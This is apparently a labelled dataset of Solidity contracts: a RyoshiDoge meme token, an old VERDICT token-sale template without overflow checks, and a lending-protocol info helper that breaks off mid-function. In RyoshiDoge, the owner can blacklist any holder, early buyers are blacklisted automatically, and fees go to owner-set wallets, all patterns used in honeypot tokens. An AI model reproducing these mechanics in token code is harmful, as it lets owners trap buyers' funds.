require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RyoshiDoge is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xBAf90D72b2351F87968E5257C1CF6440887b5705);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("RyoshiDoge", "RyoshiDoge") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 8;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 8;
uint256 _earlySellLiquidityFee = 2;
uint256 _earlySellMarketingFee = 2;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = totalSupply * 10 / 1000; // 1% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 1) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 2;
sellMarketingFee = 2;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 2;
sellMarketingFee = 2;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract VERDICT is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function VERDICT() {
balances[msg.sender] = 900000000000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 900000000000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "VERDICT"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "VTC"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 400000000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-25
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract ComptrollerLike {
function getAllMarkets() public view returns (address[] memory);
function allMarkets(uint m) public view returns(address);
function markets(address cTokenAddress) public view returns (bool, uint, bool);
function oracle() public view returns(address);
function claimComp(address holder) public;
function compAccrued(address holder) public view returns(uint);
function getCompAddress() public view returns (address);
function getAssetsIn(address account) public view returns(address[] memory);
}
contract BComptrollerLike {
function c2b(address ctoken) public view returns(address);
}
contract OracleLike {
function getUnderlyingPrice(address cToken) external view returns (uint);
}
contract ERC20Like {
function decimals() public returns(uint);
function name() public returns(string memory);
function balanceOf(address user) public returns(uint);
function allowance(address owner, address spender) public returns(uint);
}
contract CTokenLike {
function underlying() public returns(address);
function exchangeRateCurrent() public returns (uint);
function borrowRatePerBlock() public returns (uint);
function supplyRatePerBlock() public returns (uint);
function borrowBalanceCurrent(address account) public returns (uint);
function totalSupply() public returns (uint);
}
contract RegistryLike {
function getAvatar(address user) public returns(address);
function avatarLength() public view returns(uint);
function avatars(uint i) public view returns(address);
function comptroller() public view returns(address);
function score() public view returns(address);
}
contract JarConnectorLike {
function getUserScore(address user) external view returns (uint);
function getGlobalScore() external view returns (uint);
function getUserScoreProgressPerSec(address user) external view returns (uint);
}
contract ScoreLike {
function updateIndex(address[] calldata cTokens) external;
}
contract UserInfo {
struct TokenInfo {
address[] btoken;
address[] ctoken;
uint[] ctokenDecimals;
address[] underlying;
uint[] underlyingDecimals;
uint[] ctokenExchangeRate;
uint[] underlyingPrice;
uint[] borrowRate;
uint[] supplyRate;
bool[] listed;
uint[] collateralFactor;
uint[] bTotalSupply;
}
struct PerUserInfo {
uint[] ctokenBalance;
uint[] ctokenBorrowBalance;
uint[] underlyingWalletBalance;
uint[] underlyingAllowance;
}
struct ScoreInfo {
uint userScore;
uint userScoreProgressPerSec;
uint totalScore;
}
struct ImportInfo {
address avatar;
uint[] ctokenAllowance;
uint availableEthBalance;
}
struct CompTokenInfo {
uint compBalance;
address comp;
}
struct JarInfo {
uint[] ctokenBalance;
}
struct TvlInfo {
uint numAccounts;
uint[] ctokenBalance;
}
struct Info {
TokenInfo tokenInfo;
PerUserInfo cUser; // data on compound
PerUserInfo bUser; // data on B
ImportInfo importInfo;
ScoreInfo scoreInfo;
CompTokenInfo compTokenInfo;
JarInfo jarInfo;
TvlInfo tvlInfo;
}
address constant ETH = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function isCETH(address ctoken) internal returns(bool) {
string memory name = ERC20Like(ctoken).name();
if(keccak256(abi.encodePacked(name)) == keccak256(abi.encodePacked("Compound ETH"))) return true;
if(keccak256(abi.encodePacked(name)) == keccak256(abi.encodePacked("Compound Ether"))) return true;
return false;
}
function getNumMarkets(address comptroller) public returns(uint) {
bool succ = true;
uint i;
for(i = 0 ; ; i++) {
(succ,) = comptroller.call.gas(1e6)(abi.encodeWithSignature("allMarkets(uint256)", i));
if(! succ) return i;
}
return 0;
}
function getTokenInfo(address comptroller, address bComptroller) public returns(TokenInfo memory info) {
address[] memory markets = ComptrollerLike(comptroller).getAllMarkets();
uint numMarkets = markets.length;
info.btoken = new address[](numMarkets);
info.ctoken = new address[](numMarkets);
for(uint m = 0 ; m < numMarkets ; m++) {
info.ctoken[m] = markets[m];
info.btoken[m] = BComptrollerLike(bComptroller).c2b(info.ctoken[m]);
}
info.ctokenDecimals = new uint[](info.ctoken.length);
info.underlying = new address[](info.ctoken.length);
info.underlyingDecimals = new uint[](info.ctoken.length);
info.ctokenExchangeRate = new uint[](info.ctoken.length);
info.underlyingPrice = new uint[](info.ctoken.length);
info.borrowRate = new uint[](info.ctoken.length);
info.supplyRate = new uint[](info.ctoken.length);
info.listed = new bool[](info.ctoken.length);
info.collateralFactor = new uint[](info.ctoken.length);
info.bTotalSupply = new uint[](info.ctoken.length);
for(uint i = 0 ; i < info.ctoken.length ; i++) {
info.ctokenDecimals[i] = ERC20Like(info.ctoken[i]).decimals();
if(isCETH(info.ctoken[i])) {
info.underlying[i] = ETH;
info.underlyingDecimals[i] = 18;
}
else {
info.underlying[i] = CTokenLike(info.ctoken[i]).underlying();
info.underlyingDecimals[i] = ERC20Like(info.underlying[i]).decimals();
}
info.ctokenExchangeRate[i] = CTokenLike(info.ctoken[i]).exchangeRateCurrent();
info.underlyingPrice[i] = OracleLike(ComptrollerLike(comptroller).oracle()).getUnderlyingPrice(info.ctoken[i]);
info.borrowRate[i] = CTokenLike(info.ctoken[i]).borrowRatePerBlock();
info.supplyRate[i] = CTokenLike(info.ctoken[i]).supplyRatePerBlock();
(info.listed[i], info.collateralFactor[i], ) = ComptrollerLike(comptroller).markets(info.ctoken[i]);
if(info.btoken[i] != address(0)) info.bTotalSupply[i] = CTokenLike(info.btoken[i]).totalSupply();
}
return info;
}
function isIn(address[] memory array, address elm) internal pure returns(bool) {
for(uint i = 0 ; i < array.length ; i++) {
if(elm == array[i]) return true;
}
return false;
}
function getPerUserInfo(address user, address[] memory ctoken, address[] memory assetsIn, address[] memory underlying) public returns(PerUserInfo memory info) {
info.ctokenBalance = new uint[](ctoken.length);
info.ctokenBorrowBalance = new uint[](ctoken.length);
info.underlyingWalletBalance = new uint[](ctoken.length);
info.underlyingAllowance = new uint[](ctoken.length);
for(uint i = 0 ; i < ctoken.length ; i++) {
if(ctoken[i] == address(0)) continue;
info.ctokenBalance[i] = isIn(assetsIn, ctoken[i]) ? ERC20Like(ctoken[i]).balanceOf(user) : 0;
info.ctokenBorrowBalance[i] = CTokenLike(ctoken[i]).borrowBalanceCurrent(user);
if(underlying[i] == ETH) {
info.underlyingWalletBalance[i] = user.balance;
info.underlyingAllowance[i] = uint(-1);
}
else {
info.underlyingWalletBalance[i] = ERC20Like(underlying[i]).balanceOf(user);
info.underlyingAllowance[i] = ERC20Like(underlying[i]).allowance(user, ctoken[i]);
}
}
}
function getImportInfo(address user, address[] memory ctoken, address registry, address sugarDaddy) public returns(ImportInfo memory info) {
info.avatar = RegistryLike(registry).getAvatar(user);
info.ctokenAllowance = new uint[](ctoken.length);
for(uint i = 0 ; i < ctoken.length ; i++) {
info.ctokenAllowance[i] = ERC20Like(ctoken[i]).allowance(user, info.avatar);
}
info.availableEthBalance = sugarDaddy.balance;
}
function getScoreInfo(address user, address jarConnector) public view returns(ScoreInfo memory info) {
